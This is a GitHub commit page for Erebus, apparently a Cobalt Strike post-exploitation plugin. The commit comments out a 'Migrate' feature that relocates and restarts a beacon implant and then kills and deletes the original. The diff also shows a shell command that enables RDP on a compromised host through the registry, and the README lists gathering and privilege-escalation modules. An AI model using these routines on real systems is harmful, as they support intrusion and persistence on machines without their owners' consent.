Skip to content

Commit

Permalink
fix menu repeat display
Browse files Browse the repository at this point in the history
  • Loading branch information
DeEpinGh0st committed Jun 7, 2021
1 parent c470028 commit faea5a6
Show file tree
Hide file tree
Showing 4 changed files with 35 additions and 33 deletions.
2 changes: 1 addition & 1 deletion Main.cna
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ action("\cC Auther: S0cke3t");
action("\c5 Ver: ".Getinfo()[0]);

popup beacon {
insert_menu("beacon_bottom", $1);
#insert_menu("beacon_bottom", $1);
menu "Erebus"{
include(script_resource("modules/gather.cna"));
include(script_resource("modules/pwn.cna"));
Expand Down
10 changes: 6 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,9 @@
**由于异步处理问题,某些功能可能会存在BUG**
**暂时未找到解决方法,如果大佬们有解决方案,欢迎联系我~**

## 更新日志 2021-06-07(V1.3.6)
- 移除post模块migrate功能
- 修复beacon右键菜单插件重复显示问题

## 更新日志 2020-10-19(V1.3.5)
- 添加badcmd命令(基于badpotato)
Expand All @@ -24,14 +27,13 @@
- cmd,powershell命令执行历史
- 最近使用文件历史
- post模块,添加
> 进程迁移功能
根据用户配置,将原生会话文件位置迁移到新的目录,并重新命名文件名称生成新会话
![](README_md_files/image.png?v=1&type=image)
> ~~进程迁移功能(已废除)
根据用户配置,将原生会话文件位置迁移到新的目录,并重新命名文件名称生成新会话
Migrate directory: 进行迁移的目录,此项在setting.txt文件中进行配置。
Process name: 新进程名,自动生成,生成规则可在common.sl中修改。
Keep old connection: 是否保持原有会话连接。
**注: 迁移只支持原生会话,且只能迁移一次 !**
详见: Post----Migrate
详见: Post----Migrate~~
- 其他
- 调整备注信息,Ver--->NT
- 隐藏部份功能执行时的细节信息
Expand Down
53 changes: 27 additions & 26 deletions modules/post.cna
Original file line number Diff line number Diff line change
Expand Up @@ -72,19 +72,20 @@ sub Open_rdp{
brun($1, "REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f");
}

sub Migrate{
$dir = $3['dir'];
$process = $3['pname'];
$current_pro = beacon_info($bid, "process");
$pid = beacon_info($bid, "pid");
$keep = $3['keep'];
$cmd = "mkdir ".$dir." || copy /y ".$current_pro." ".$dir.$process." && start ".$dir.$process." && taskkill /F /PID ".$pid." && del /F ".$current_pro;
if ($keep eq "true"){
$cmd = "mkdir ".$dir." || copy /y ".$current_pro." ".$dir.$process." && start ".$dir.$process;
}
bshell!($bid,$cmd);
btask($bid, "migrating process location to ".$dir.$process.", please wait new session !", "");
}
# sub Migrate{
# $dir = $3['dir'];
# $process = $3['pname'];
# $current_pro = beacon_info($bid, "process");
# $pid = beacon_info($bid, "pid");
# $keep = $3['keep'];
# $cmd = "mkdir ".$dir." || copy /y ".$current_pro." ".$dir.$process." && start ".$dir.$process." && taskkill /F /PID ".$pid." && del /F ".$current_pro;
# if ($keep eq "true"){
# $cmd = "mkdir ".$dir." || copy /y ".$current_pro." ".$dir.$process." && start ".$dir.$process;
# }
# bshell!($bid,$cmd);
# btask($bid, "migrating process location to ".$dir.$process.", please wait new session !", "");
# }

sub Socks{
local('$type $lport $refhost $refport $rch');
$type = $3['type'];
Expand Down Expand Up @@ -167,19 +168,19 @@ sub Socks{
}


item "Migrate"{
local('$process');
$bid = $1['@'];
$process = Getname().".exe";
$dir = Getinfo()[1];
$dialog = dialog("Migrate process",%(bid => $bid, dir => $dir, pname => $process, keep => "true"), &Migrate);
dialog_description($dialog, "Migrate your trojan to another directory and then reconnect a new session, only native sessions are supported and can only be migrated once");
drow_text($dialog, "dir", "Migrate directory: ");
drow_text($dialog, "pname", "Process name: ");
drow_checkbox($dialog, "keep", "Keep old connection: ", "");
dbutton_action($dialog, "Exec");
dialog_show($dialog);
}
# item "Migrate"{
# local('$process');
# $bid = $1['@'];
# $process = Getname().".exe";
# $dir = Getinfo()[1];
# $dialog = dialog("Migrate process",%(bid => $bid, dir => $dir, pname => $process, keep => "true"), &Migrate);
# dialog_description($dialog, "Migrate your trojan to another directory and then reconnect a new session, only native sessions are supported and can only be migrated once");
# drow_text($dialog, "dir", "Migrate directory: ");
# drow_text($dialog, "pname", "Process name: ");
# drow_checkbox($dialog, "keep", "Keep old connection: ", "");
# dbutton_action($dialog, "Exec");
# dialog_show($dialog);
# }

item "Socks tunnel"{
$bid = $1['@'];
Expand Down
3 changes: 1 addition & 2 deletions setting.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1 @@
ver = 1.3.5
dir = C:\Services\
ver = 1.3.6

0 comments on commit faea5a6

Please sign in to comment.